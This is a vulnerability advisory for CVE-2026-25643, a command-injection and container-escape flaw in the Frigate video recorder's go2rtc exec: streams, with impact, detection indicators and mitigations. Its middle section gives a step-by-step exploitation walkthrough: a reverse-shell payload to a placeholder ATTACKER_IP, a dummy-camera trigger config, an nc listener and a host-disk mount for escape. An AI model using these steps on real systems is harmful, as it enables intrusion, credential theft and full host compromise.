CVE-2026-25643: 
NixOS vulnerability analysis and mitigation

CVE-2026-25643 is a critical authenticated Remote Command Execution (RCE) and Container Escape vulnerability in Frigate, an open-source network video recorder (NVR) with real-time local object detection for IP cameras. The flaw exists in Frigate's integration with the go2rtc service, where unsanitized user input in the video stream configuration (config.yaml) allows injection of arbitrary OS commands via the exec: directive. All Frigate versions up to and including 0.16.3 are affected; the vulnerability was disclosed on January 29, 2026, and patched in version 0.16.4 released the same day. It carries a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory, Feedly).

The root cause is improper neutralization of special elements used in an OS command (CWE-78), compounded by execution with unnecessary privileges (CWE-250) and improper privilege management (CWE-269). Frigate allows administrators to edit config.yaml through the UI; the go2rtc service processes this file and, when a stream is defined with the exec: prefix, directly executes the specified binary without any sanitization or restriction. Because Frigate is commonly deployed in privileged Docker mode (--privileged) to access hardware acceleration, the injected commands inherit CAP_SYS_ADMIN capabilities, enabling not only arbitrary command execution within the container but also mounting of host physical disks — constituting a full container escape. Exploitation requires the malicious stream to be active, which is achieved by linking a dummy camera to the stream and triggering a service restart via the UI (GitHub Advisory).

Successful exploitation grants an attacker complete system compromise with root-level privileges inside the Frigate container. Attackers can exfiltrate sensitive environment variables (including RTSP credentials, API keys, and other secrets), establish interactive reverse shells, and — in privileged deployments — escape the container entirely to mount and modify the physical host's file system, including boot partitions, enabling persistent boot-level compromise. The scope change (S:C in CVSS) reflects that impact extends beyond the container to the underlying host, with high confidentiality, integrity, and availability impact (GitHub Advisory).

Multiple public proof-of-concept exploits are available on GitHub, including repositories by jduardo2704 and joshuavanderpoll, as well as entries on Exploit-DB (EDB-52533) and Sploitus (Feedly). Exploitation requires high privileges (administrator access) unless the Frigate instance is exposed to the internet without authentication, in which case any unauthenticated user effectively has full administrative control. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.94%, and the vulnerability does not appear in the CISA KEV catalog at this time (GitHub Advisory, Feedly).

1. Reconnaissance: Identify internet-facing Frigate NVR instances running versions ≤ 0.16.3 using tools like Shodan or Censys, or target known internal deployments. Check if authentication is disabled (making the instance fully open) or obtain administrator credentials.
2. Access the configuration UI: Log in to the Frigate web interface with administrator credentials (or directly if no authentication is configured) and navigate to the configuration editor for config.yaml.
3. Inject malicious exec directive: Add a go2rtc stream entry using the exec: prefix with the desired payload, for example a reverse shell:

go2rtc:
  streams:
    malicious_stream:
      - "exec:/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

4. Activate the stream: Define a dummy camera that consumes the malicious stream to ensure go2rtc activates it upon restart:

cameras:
  poc_cam:
    enabled: true
    ffmpeg:
      inputs:
        - path: rtsp://127.0.0.1:8554/malicious_stream
          roles:
            - detect
    detect:
      enabled: false

5. Trigger execution: Save the configuration and initiate a service restart via the Frigate UI. The go2rtc service will execute the injected command upon restart.
6. Receive reverse shell / escalate: On the attacker machine, listen with nc -lvnp 4444. Upon restart, a root shell from within the container is received. In privileged deployments, mount host partitions (e.g., mount /dev/nvme0n1p1 /tmp/host_efi) to achieve container escape and full host compromise (GitHub Advisory).

• Configuration File: Presence of exec: directives in config.yaml under go2rtc.streams pointing to shell commands (e.g., /bin/bash, bash -i, curl, wget, nc).
• File System: Unexpected files in /config/ such as evidence_secrets.txt, evidence_host_efi.txt, or other attacker-created artifacts; new mount points under /tmp/ (e.g., /tmp/host_efi) containing host filesystem content.
• Process: Unusual child processes spawned by the go2rtc process, including /bin/bash, bash, nc, curl, or python; processes with outbound TCP connections to non-camera IP addresses.
• Network: Outbound connections from the Frigate container to unexpected external IPs on arbitrary ports (e.g., 4444); unusual RTSP stream activity referencing 127.0.0.1:8554/malicious_stream or similarly named streams.
• Logs: Frigate or go2rtc logs showing activation of streams with exec: prefixes; service restart events correlated with new outbound network connections; go2rtc logs referencing execution of shell binaries (GitHub Advisory).

Upgrade Frigate to version 0.16.4 or later, which addresses this vulnerability via a go2rtc configuration check (PR #21808). If immediate upgrade is not possible, restrict administrative access to trusted users only and ensure Frigate is never exposed to the internet without strong authentication. Audit all existing config.yaml files for suspicious exec: directives under go2rtc.streams. Implement network segmentation to limit Frigate instance exposure to trusted internal networks only, and consider running Frigate without --privileged mode where hardware requirements permit to reduce container escape risk (GitHub Advisory, Frigate Release).

The vulnerability was reported by security researcher jduardo2704 and received notable attention in the home automation and self-hosting communities. A Reddit thread in r/homeassistant discussed the CVE, reflecting concern among the large Home Assistant/Frigate user base. The Hacker Wire covered the vulnerability with a dedicated article, and it was highlighted in PoC-week digests and FOSS security blogs. The CISA weekly vulnerability bulletin (SB26-040) also referenced the issue, indicating broader government awareness (Feedly, The Hacker Wire).